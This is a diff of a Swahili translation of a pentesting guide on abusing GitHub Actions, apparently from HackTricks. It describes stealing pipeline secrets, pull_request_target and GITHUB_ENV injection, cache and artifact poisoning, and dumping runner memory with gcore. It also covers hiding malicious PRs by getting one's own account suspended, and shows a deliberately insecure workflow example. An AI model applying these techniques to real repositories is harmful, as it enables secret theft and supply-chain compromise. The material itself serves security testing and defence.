Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts) +- **Muhtasari wa athari zote** za mshambuliaji kufanikiwa kupata ufikiaji wa Github Action +- Njia tofauti za **kupata ufikiaji wa hatua**: +- Kuwa na **idhini** za kuunda hatua hiyo +- Kutumia **vichocheo** vinavyohusiana na ombi la kuvuta +- Kutumia **mbinu nyingine za ufikiaji wa nje** +- **Pivoting** kutoka kwenye repo iliyoshambuliwa tayari +- Hatimaye, sehemu kuhusu **mbinu za baada ya unyakuzi kutumia hatua kutoka ndani** (kwa sababu ya athari zilizotajwa) ## Impacts Summary -For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +Kwa utangulizi kuhusu [**Github Actions angalia taarifa za msingi**](../basic-github-information.md#github-actions). -If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to: +Ikiwa unaweza **kutekeleza msimbo wowote katika GitHub Actions** ndani ya **repo**, unaweza kuwa na uwezo wa: -- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP. -- **Compromise deployments** and other **artifacts**. -- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack. -- **Execute code in custom workers** to abuse computing power and pivot to other systems. -- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`. +- **Kuhujumu siri** zilizowekwa kwenye pipeline na **kutumia mamlaka ya pipeline** kupata ufikiaji usioidhinishwa kwenye majukwaa ya nje, kama AWS na GCP. +- **Kuhujumu matumizi** na **vitu vingine**. +- Ikiwa pipeline inapeleka au kuhifadhi mali, unaweza kubadilisha bidhaa ya mwisho, kuwezesha shambulio la mnyororo wa usambazaji. +- **Kutekeleza msimbo katika wafanyakazi maalum** ili kutumia nguvu za kompyuta na pivot kwa mifumo mingine. +- **Kufuta msimbo wa repo**, kulingana na ruhusa zinazohusiana na `GITHUB_TOKEN`. ## GITHUB_TOKEN -This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option: +Hii "**siri**" (inayotoka `${{ secrets.GITHUB_TOKEN }}` na `${{ github.token }}`) inatolewa wakati msimamizi anapowezesha chaguo hili:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Token hii ni sawa na ile ambayo **Github Application itatumia**, hivyo inaweza kufikia mwisho sawa: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Github inapaswa kutoa [**mchakato**](https://github.com/github/roadmap/issues/74) ambao **unaruhusu ufikiaji wa kuvuka-repo** ndani ya GitHub, ili repo iweze kufikia repo nyingine za ndani kwa kutumia `GITHUB_TOKEN`. -You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Unaweza kuona **idhini** zinazowezekana za token hii katika: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Note that the token **expires after the job has completed**.\ -These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Kumbuka kwamba token **inaisha muda baada ya kazi kukamilika**.\ +Token hizi zinaonekana kama hii: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Some interesting things you can do with this token: +Mambo kadhaa ya kuvutia unayoweza kufanya na token hii: {{#tabs }} {{#tab name="Merge PR" }} @@ -67,7 +67,7 @@ https://api.github.com/repos///pulls//reviews \ -d '{"event":"APPROVE"}' ``` {{#endtab }} -{{#tab name="Unda PR" }} +{{#tab name="Create PR" }} ```bash # Create a PR curl -X POST \ @@ -111,7 +111,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Pata shell ya kinyume na siri +Pata shell ya kurudi na siri ```yaml name: revshell on: @@ -141,19 +141,19 @@ Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika hifadhi za wat ## Utekelezaji Ulioidhinishwa > [!NOTE] -> Hii ingekuwa njia rahisi zaidi ya kuathiri vitendo vya Github, kwani kesi hii inadhani kuwa una uf access **kuunda hifadhi mpya katika shirika**, au una **haki za kuandika juu ya hifadhi**. +> Hii ingekuwa njia rahisi zaidi ya kuathiri vitendo vya Github, kwani kesi hii inadhani kuwa una ufikiaji wa **kuunda hifadhi mpya katika shirika**, au una **haki za kuandika juu ya hifadhi**. > -> Ikiwa uko katika hali hii unaweza tu kuangalia [Mbinu za Baada ya Utekelezaji](./#post-exploitation-techniques-from-inside-an-action). +> Ikiwa uko katika hali hii unaweza tu kuangalia [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action). -### Utekelezaji Kutoka kwa Uundaji wa Hifadhi +### Utekelezaji kutoka kwa Uundaji wa Hifadhi Katika kesi ambapo wanachama wa shirika wanaweza **kuunda hifadhi mpya** na unaweza kutekeleza vitendo vya github, unaweza **kuunda hifadhi mpya na kuiba siri zilizowekwa katika kiwango cha shirika**. -### Utekelezaji Kutoka kwa Tawi Jipya +### Utekelezaji kutoka kwa Tawi Jipya Ikiwa unaweza **kuunda tawi jipya katika hifadhi ambayo tayari ina Github Action** iliyowekwa, unaweza **kubadilisha** hiyo, **kupakia** maudhui, na kisha **kutekeleza kitendo hicho kutoka kwa tawi jipya**. Kwa njia hii unaweza **kuondoa siri za hifadhi na kiwango cha shirika** (lakini unahitaji kujua zinaitwaje). -Unaweza kufanya kitendo kilichobadilishwa kiwe cha kutekelezeka **kwa mikono,** wakati **PR inaundwa** au wakati **kodi fulani inasukumwa** (kulingana na jinsi unavyotaka kuwa na sauti): +Unaweza kufanya kitendo kilichobadilishwa kiwe cha kutekelezeka **kwa mikono,** wakati **PR inaundwa** au wakati **kodi fulani inasukumwa** (kulingana na jinsi unavyotaka kuwa na kelele): ```yaml on: workflow_dispatch: # Launch manually @@ -174,18 +174,18 @@ branches: ### `pull_request` -Vichocheo vya kazi **`pull_request`** vitatekeleza kazi kila wakati ombi la kuvuta linapopokelewa na baadhi ya visingizio: kwa kawaida ikiwa ni **mara ya kwanza** unapo **shirikiana**, baadhi ya **wasimamizi** watahitaji **kuthibitisha** **kuendesha** kazi hiyo: +Vichocheo vya workflow **`pull_request`** vitatekeleza workflow kila wakati ombi la kuvuta linapopokelewa na baadhi ya visingizio: kwa kawaida ikiwa ni **mara ya kwanza** unapo **shirikiana**, baadhi ya **wasimamizi** watahitaji **kuthibitisha** **kuendesha** workflow:
> [!NOTE] -> Kwa kuwa **kikomo cha kawaida** ni kwa **watoaji wa mara ya kwanza**, unaweza kuchangia **kurekebisha hitilafu/typo halali** na kisha kutuma **PR nyingine ili kutumia haki zako mpya za `pull_request`**. +> Kwa kuwa **kikomo cha kawaida** ni kwa **watoaji wa mara ya kwanza**, unaweza kuchangia **kurekebisha hitilafu halali/typo** na kisha kutuma **PR nyingine ili kutumia haki zako mpya za `pull_request`**. > -> **Nilijaribu hii na haifanyi kazi**: ~~Chaguo lingine lingekuwa kuunda akaunti kwa jina la mtu ambaye alichangia kwenye mradi na kufuta akaunti yake.~~ +> **Nimejaribu hii na haifanyi kazi**: ~~Chaguo lingine lingekuwa kuunda akaunti kwa jina la mtu ambaye alichangia kwenye mradi na kufuta akaunti yake.~~ -Zaidi ya hayo, kwa kawaida **inazuia ruhusa za kuandika** na **ufikiaji wa siri** kwa hifadhi lengwa kama ilivyoelezwa katika [**nyaraka**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Zaidi ya hayo, kwa kawaida **inazuia ruhusa za kuandika** na **ufikiaji wa siri** kwa hifadhi lengwa kama ilivyoelezwa katika [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> Kwa kutengwa kwa `GITHUB_TOKEN`, **siri hazipitishwi kwa mchezaji** wakati kazi inachochewa kutoka hifadhi **forked**. **`GITHUB_TOKEN` ina ruhusa za kusoma tu** katika ombi la kuvuta **kutoka hifadhi za forked**. +> Kwa kutengwa kwa `GITHUB_TOKEN`, **siri hazipitishwi kwa mchezaji** wakati workflow inachochewa kutoka hifadhi **forked**. **`GITHUB_TOKEN` ina ruhusa za kusoma tu** katika maombi ya kuvuta **kutoka hifadhi za forked**. Mshambuliaji anaweza kubadilisha ufafanuzi wa Github Action ili kutekeleza mambo yasiyo na mipaka na kuongeza vitendo vya kiholela. Hata hivyo, hataweza kuiba siri au kufuta repo kwa sababu ya vikwazo vilivyotajwa. @@ -196,20 +196,20 @@ Kwa kuwa mshambuliaji pia anadhibiti msimbo unaotekelezwa, hata kama hakuna siri ### **`pull_request_target`** -Vichocheo vya kazi **`pull_request_target`** vina **ruhusa za kuandika** kwa hifadhi lengwa na **ufikiaji wa siri** (na havihitaji ruhusa). +Vichocheo vya workflow **`pull_request_target`** vina **ruhusa za kuandika** kwa hifadhi lengwa na **ufikiaji wa siri** (na havihitaji ruhusa). -Kumbuka kwamba vichocheo vya kazi **`pull_request_target`** **vinakimbia katika muktadha wa msingi** na si katika ile iliyotolewa na PR (ili **kutoendesha msimbo usioaminika**). Kwa maelezo zaidi kuhusu `pull_request_target` [**angalia nyaraka**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Zaidi ya hayo, kwa maelezo zaidi kuhusu matumizi haya hatari maalum angalia hii [**blogu ya github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Kumbuka kwamba vichocheo vya workflow **`pull_request_target`** **vinakimbia katika muktadha wa msingi** na si katika ule unaotolewa na PR (ili **kutoendesha msimbo usioaminika**). Kwa maelezo zaidi kuhusu `pull_request_target` [**angalia docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Zaidi ya hayo, kwa maelezo zaidi kuhusu matumizi haya hatari maalum angalia [**blogu ya github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Inaweza kuonekana kuwa kwa sababu **kazi inayotekelezwa** ni ile iliyofafanuliwa katika **msingi** na **siyo katika PR** ni **salama** kutumia **`pull_request_target`**, lakini kuna **mifano michache ambapo si salama**. +Inaweza kuonekana kuwa kwa sababu **workflow inayotekelezwa** ni ile iliyoainishwa katika **msingi** na **siyo katika PR** ni **salama** kutumia **`pull_request_target`**, lakini kuna **mambo machache ambapo si salama**. Na hii itakuwa na **ufikiaji wa siri**. ### `workflow_run` -Vichocheo vya [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) vinaruhusu kuendesha kazi kutoka nyingine wakati imekamilika, imeombwa au inaendelea. +Vichocheo vya [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) vinaruhusu kuendesha workflow kutoka nyingine wakati imekamilika, imeombwa au inaendelea. -Katika mfano huu, kazi imewekwa ili kuendesha baada ya kazi tofauti "Run Tests" kukamilika: +Katika mfano huu, workflow imepangwa kuendesha baada ya workflow tofauti "Run Tests" kukamilika: ```yaml on: workflow_run: @@ -217,31 +217,31 @@ workflows: [Run Tests] types: - completed ``` -Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. +Zaidi ya hayo, kulingana na nyaraka: Mchakato ulioanzishwa na tukio la `workflow_run` unaweza **kupata siri na kuandika tokeni, hata kama mchakato wa awali haukuwa**. -This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ -The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +Aina hii ya mchakato inaweza kushambuliwa ikiwa inategemea **mchakato** ambao unaweza **kuanzishwa** na mtumiaji wa nje kupitia **`pull_request`** au **`pull_request_target`**. Mifano kadhaa za hatari zinaweza [**kupatikana kwenye blogu hii**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Ya kwanza inahusisha **`workflow_run`** iliyoanzishwa ikipakua msimbo wa washambuliaji: `${{ github.event.pull_request.head.sha }}`\ +Ya pili inahusisha **kupitisha** **artifact** kutoka kwa msimbo **usioaminika** hadi kwenye mchakato wa **`workflow_run`** na kutumia maudhui ya artifact hii kwa njia inayofanya iwe **hatari kwa RCE**. ### `workflow_call` TODO -TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR +TODO: Angalia ikiwa wakati inatekelezwa kutoka kwa pull_request msimbo ulio tumika/pakuliwa ni ule kutoka kwa asili au kutoka kwa PR iliyofanywa. -## Abusing Forked Execution +## Kutumia Utekelezaji wa Forked -We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: +Tumetaja njia zote ambazo mshambuliaji wa nje anaweza kuweza kufanya mchakato wa github kutekelezwa, sasa hebu tuangalie jinsi utekelezaji huu, ikiwa umewekwa vibaya, unaweza kutumiwa vibaya: -### Untrusted checkout execution +### Utekelezaji wa untrusted checkout -In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request). +Katika kesi ya **`pull_request`,** mchakato utaanzishwa katika **muktadha wa PR** (hivyo utaanzisha **msimbo wa PR mbaya**), lakini mtu anahitaji **kuidhinisha kwanza** na utaendesha kwa baadhi ya [mipaka](./#pull_request). -In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. +Katika kesi ya mchakato unaotumia **`pull_request_target` au `workflow_run`** inayotegemea mchakato ambao unaweza kuanzishwa kutoka **`pull_request_target` au `pull_request`** msimbo kutoka kwa repo ya asili utaanzishwa, hivyo **mshambuliaji hawezi kudhibiti msimbo unaotekelezwa**. > [!CAUTION] -> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): +> Hata hivyo, ikiwa **action** ina **ukaguzi wa PR wazi** ambao uta **pata msimbo kutoka kwa PR** (na sio kutoka msingi), itatumia msimbo ulio chini ya udhibiti wa mshambuliaji. Kwa mfano (angalia mstari wa 12 ambapo msimbo wa PR unapakuliwa): -
# INSECURE. Provided as an example only.
+
# INSECURE. Imepewa kama mfano tu.
 on:
 pull_request_target
 
@@ -269,14 +269,14 @@ message: |
 Thank you!
 
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. +Msimbo unaoweza kuwa **usioaminika unatekelezwa wakati wa `npm install` au `npm build`** kwani skripti za kujenga na **pakiti** zinazohusishwa zinadhibitiwa na mwandishi wa PR. > [!WARNING] -> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). +> Dork ya github kutafuta vitendo vyenye hatari ni: `event.pull_request pull_request_target extension:yml` hata hivyo, kuna njia tofauti za kuweka kazi zinazoweza kutekelezwa kwa usalama hata kama action imewekwa kwa njia isiyo salama (kama kutumia masharti kuhusu nani ni mchezaji anayezalisha PR). -### Context Script Injections +### Makinikia ya Muktadha wa Script -Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** +Kumbuka kuwa kuna baadhi ya [**muktadha ya github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) ambao thamani zao zina **dhibitiwa** na **mtumiaji** anayezalisha PR. Ikiwa action ya github inatumia hiyo **data kutekeleza chochote**, inaweza kusababisha **utekelezaji wa msimbo wa kiholela:** {{#ref}} gh-actions-context-script-injections.md @@ -284,23 +284,23 @@ gh-actions-context-script-injections.md ### **GITHUB_ENV Script Injection** -From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +Kutoka kwenye nyaraka: Unaweza kufanya **kigezo cha mazingira kiweze kupatikana kwa hatua zozote zinazofuata** katika kazi ya mchakato kwa kufafanua au kuboresha kigezo cha mazingira na kuandika hii kwenye faili ya mazingira ya **`GITHUB_ENV`**. -If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. +Ikiwa mshambuliaji anaweza **kuchanganya thamani yoyote** ndani ya hii **env** kigezo, anaweza kuchanganya vigezo vya env ambavyo vinaweza kutekeleza msimbo katika hatua zinazofuata kama **LD_PRELOAD** au **NODE_OPTIONS**. -For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it: +Kwa mfano ([**hii**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) na [**hii**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), fikiria mchakato ambao unategemea artifact iliyopakiwa kuhifadhi maudhui yake ndani ya **`GITHUB_ENV`** kigezo. Mshambuliaji anaweza kupakia kitu kama hiki ili kukiharibu:
-### Vulnerable Third Party Github Actions +### Vitendo vya Github vya Tatu vya Hatari #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. +Kama ilivyotajwa katika [**hiki kipande cha blogu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), hii Github Action inaruhusu kufikia artifacts kutoka kwa michakato tofauti na hata hifadhi. -The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact. +Tatizo kubwa ni kwamba ikiwa **`path`** parameter haijawekwa, artifact inachukuliwa katika saraka ya sasa na inaweza kubadilisha faili ambazo zinaweza kutumika baadaye au hata kutekelezwa katika mchakato. Kwa hivyo, ikiwa Artifact ina hatari, mshambuliaji anaweza kutumia hii kuathiri michakato mingine inayotegemea Artifact. -Example of vulnerable workflow: +Mfano wa mchakato wa hatari: ```yaml on: workflow_run: @@ -340,27 +340,27 @@ path: ./script.py ``` --- -## Mtu Mwingine wa Nje +## Mipango Mingine ya Nje -### Utekaji wa Repo ya Namespace Iliyofutwa +### Utekwaji wa Repo ya Namespace Iliyofutwa -Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha na akaunti yenye jina hilo baada ya muda fulani. Ikiwa repo ilikuwa na **nyota chini ya 100 kabla ya kubadilisha jina**, Github itaruhusu mtumiaji mpya aliyejiandikisha kwa jina hilo kuunda **repo yenye jina sawa** na ile iliyofutwa. +Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha na akaunti yenye jina hilo baada ya muda fulani. Ikiwa hazina ilikuwa na **nyota chini ya 100 kabla ya kubadilisha jina**, Github itaruhusu mtumiaji mpya aliyejiandikisha kwa jina hilo kuunda **hazina yenye jina sawa** na ile iliyofutwa. > [!CAUTION] -> Hivyo basi ikiwa hatua inatumia repo kutoka kwa akaunti isiyokuwepo, bado inawezekana kwamba mshambuliaji anaweza kuunda akaunti hiyo na kuathiri hatua hiyo. +> Hivyo basi ikiwa hatua inatumia hazina kutoka kwa akaunti isiyokuwepo, bado inawezekana kwamba mshambuliaji anaweza kuunda akaunti hiyo na kuathiri hatua hiyo. -Ikiwa repo nyingine zilikuwa zikitumika **kutegemea kutoka kwa repo za mtumiaji huyu**, mshambuliaji ataweza kuzikamata. Hapa kuna maelezo kamili zaidi: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Ikiwa hazina nyingine zilikuwa zikitumika **kutegemea kutoka kwa hazina za mtumiaji huyu**, mshambuliaji ataweza kuziiba. Hapa kuna maelezo kamili zaidi: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- -## Uhamasishaji wa Repo +## Mabadiliko ya Repo > [!NOTE] > Katika sehemu hii tutazungumzia mbinu ambazo zitaruhusu **kuhamasisha kutoka repo moja hadi nyingine** tukidhani tuna aina fulani ya ufikiaji kwenye ya kwanza (angalia sehemu iliyopita). ### Upoison wa Cache -Cache inatunzwa kati ya **mizunguko ya workflow katika tawi moja**. Hii ina maana kwamba ikiwa mshambuliaji **anaathiri** **kifurushi** ambacho kisha kinahifadhiwa kwenye cache na **kupakuliwa** na kutekelezwa na **workflow yenye mamlaka zaidi**, ataweza pia **kuathiri** workflow hiyo. +Cache inashikiliwa kati ya **mizunguko ya workflow katika tawi moja**. Hii ina maana kwamba ikiwa mshambuliaji **ataathiri** **pakiti** ambayo kisha inahifadhiwa kwenye cache na **kupakuliwa** na kutekelezwa na **workflow yenye mamlaka zaidi**, ataweza pia **kuathiri** workflow hiyo. {{#ref}} gh-actions-cache-poisoning.md @@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md ### Upoison wa Kazi -Workflows zinaweza kutumia **kazi kutoka kwa workflows nyingine na hata repos**, ikiwa mshambuliaji anafanikiwa **kuathiri** Github Action inayopakia **kazi** ambayo baadaye inatumika na workflow nyingine, anaweza **kuathiri workflows nyingine**: +Workflows zinaweza kutumia **kazi kutoka kwa workflows nyingine na hata hazina**, ikiwa mshambuliaji anafanikiwa **kuathiri** Github Action inay **pakia kazi** ambayo baadaye inatumika na workflow nyingine, anaweza **kuathiri workflows nyingine**: {{#ref}} gh-actions-artifact-poisoning.md @@ -376,7 +376,7 @@ gh-actions-artifact-poisoning.md --- -## Baada ya Kutekeleza kutoka kwa Hatua +## Baada ya Utekelezaji kutoka kwa Hatua ### Kufikia AWS na GCP kupitia OIDC @@ -392,7 +392,7 @@ Angalia kurasa zifuatazo: ### Kufikia siri -Ikiwa unachanganya maudhui kwenye script, ni muhimu kujua jinsi unavyoweza kufikia siri: +Ikiwa unachoma maudhui kwenye script, ni muhimu kujua jinsi ya kufikia siri: - Ikiwa siri au token imewekwa kwenye **kigezo cha mazingira**, inaweza kufikiwa moja kwa moja kupitia mazingira kwa kutumia **`printenv`**. @@ -425,7 +425,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Pata shell ya kinyume na siri +Pata shell ya kurudi na siri ```yaml name: revshell on: @@ -466,7 +466,7 @@ key: ${{ secrets.PUBLISH_KEY }} ### Kutumia Runners za Kujihudumia -Njia ya kupata ni zipi **Github Actions zinafanywa katika miundombinu isiyo ya github** ni kutafuta **`runs-on: self-hosted`** katika usanidi wa yaml wa Github Action. +Njia ya kutafuta ni zipi **Github Actions zinazotekelezwa katika miundombinu isiyo ya github** ni kutafuta **`runs-on: self-hosted`** katika usanidi wa yaml wa Github Action. **Runners za kujihudumia** zinaweza kuwa na ufikiaji wa **habari nyeti zaidi**, kwa mifumo mingine ya **mtandao** (nukta dhaifu katika mtandao? huduma ya metadata?) au, hata kama imejitengea na kuharibiwa, **hatua zaidi ya moja zinaweza kufanywa kwa wakati mmoja** na ile mbaya inaweza **kuiba siri** za nyingine. @@ -475,12 +475,12 @@ Katika runners za kujihudumia pia inawezekana kupata **siri kutoka kwa \_Runner. sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Check [**hii posti kwa maelezo zaidi**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Angalia [**post hii kwa maelezo zaidi**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker Images Registry Inawezekana kuunda Github actions ambazo **zitajenga na kuhifadhi picha ya Docker ndani ya Github**.\ -Mfano unaweza kupatikana katika ifuatayo inayoweza kupanuliwa: +Mfano unaweza kupatikana katika yafuatayo yanayoweza kupanuliwa:
@@ -515,35 +515,35 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
-Kama unavyoona katika msimbo uliopita, usajili wa Github unahifadhiwa katika **`ghcr.io`**. +Kama unavyoona katika msimbo wa awali, usajili wa Github unahifadhiwa katika **`ghcr.io`**. -Mtumiaji mwenye ruhusa za kusoma juu ya repo basi ataweza kupakua Picha ya Docker akitumia tokeni ya ufikiaji wa kibinafsi: +Mtumiaji mwenye ruhusa za kusoma juu ya repo ataweza kupakua Picha ya Docker kwa kutumia tokeni ya ufikiaji wa kibinafsi: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Then, the user could search for **leaked secrets in the Docker image layers:** +Kisha, mtumiaji anaweza kutafuta **siri zilizovuja katika tabaka za picha za Docker:** {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics {{#endref}} -### Sensitive info in Github Actions logs +### Taarifa nyeti katika kumbukumbu za Github Actions -Hata kama **Github** inajaribu **kubaini thamani za siri** katika rekodi za hatua na **kuepuka kuonyesha** hizo, **data nyeti nyingine** ambazo zinaweza kuwa zimeundwa katika utekelezaji wa hatua hiyo hazitafichwa. Kwa mfano, JWT iliyosainiwa kwa thamani ya siri haitafichwa isipokuwa [imewekwa maalum](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Hata kama **Github** inajaribu **kubaini thamani za siri** katika kumbukumbu za hatua na **kuepuka kuonyesha** hizo, **data nyeti nyingine** ambazo zinaweza kuwa zimeundwa katika utekelezaji wa hatua hiyo hazitafichwa. Kwa mfano, JWT iliyosainiwa kwa thamani ya siri haitafichwa isipokuwa [imewekwa maalum](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). -## Covering your Tracks +## Kufunika Nyayo Zako -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Kwanza kabisa, PR yoyote iliyoinuliwa inaonekana wazi kwa umma katika Github na kwa akaunti ya lengo ya GitHub. Katika GitHub kwa kawaida, **hatuwezi kufuta PR ya mtandao**, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zime **simamishwa** na Github, **PR zao zote zinafuta moja kwa moja** na kuondolewa kutoka mtandao. Hivyo ili kuficha shughuli zako unahitaji ama kupata **akaunti yako ya GitHub isimamishwe au kupata akaunti yako iwe na alama**. Hii it **ficha shughuli zako zote** kwenye GitHub kutoka mtandao (kimsingi kuondoa PR zako zote za unyakuzi) +(Teknolojia kutoka [**hapa**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Kwanza kabisa, PR yoyote iliyoinuliwa inaonekana wazi kwa umma katika Github na kwa akaunti ya lengo ya GitHub. Katika GitHub kwa kawaida, **hatuwezi kufuta PR ya mtandao**, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zime **simamishwa** na Github, PR zao zote **zinafuta moja kwa moja** na kuondolewa kutoka mtandao. Hivyo ili kuficha shughuli zako unahitaji ama kupata **akaunti yako ya GitHub isimamishwe au kupata akaunti yako iwe na alama**. Hii itaficha **shughuli zako zote** kwenye GitHub kutoka mtandao (kimsingi kuondoa PR zako zote za unyanyasaji) -Shirika katika GitHub lina ufanisi mkubwa katika kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki "mambo fulani" katika Issue na watakikisha akaunti yako imesimamishwa ndani ya masaa 12 :p na hapo umepata, umefanya unyakuzi wako usionekane kwenye github. +Shirika katika GitHub lina ufanisi mkubwa katika kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki "mambo fulani" katika Issue na watakikisha akaunti yako imesimamishwa ndani ya masaa 12 :p na hapo umepata, umefanya unyanyasaji wako usionekane kwenye github. > [!WARNING] -> Njia pekee kwa shirika kugundua kuwa wamekuwa wakilengwa ni kuangalia rekodi za GitHub kutoka SIEM kwani kutoka UI ya GitHub PR itakuwa imeondolewa. +> Njia pekee kwa shirika kugundua kuwa wamekuwa wakilengwa ni kuangalia kumbukumbu za GitHub kutoka SIEM kwani kutoka kwa UI ya GitHub PR itakuwa imeondolewa. -## Tools +## Zana -Zana zifuatazo ni muhimu kupata Github Action workflows na hata kupata zile zenye udhaifu: +Zana zifuatazo ni muhimu kutafuta michakato ya Github Action na hata kupata zile zenye udhaifu: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md index 141152bd4..59da712ac 100644 --- 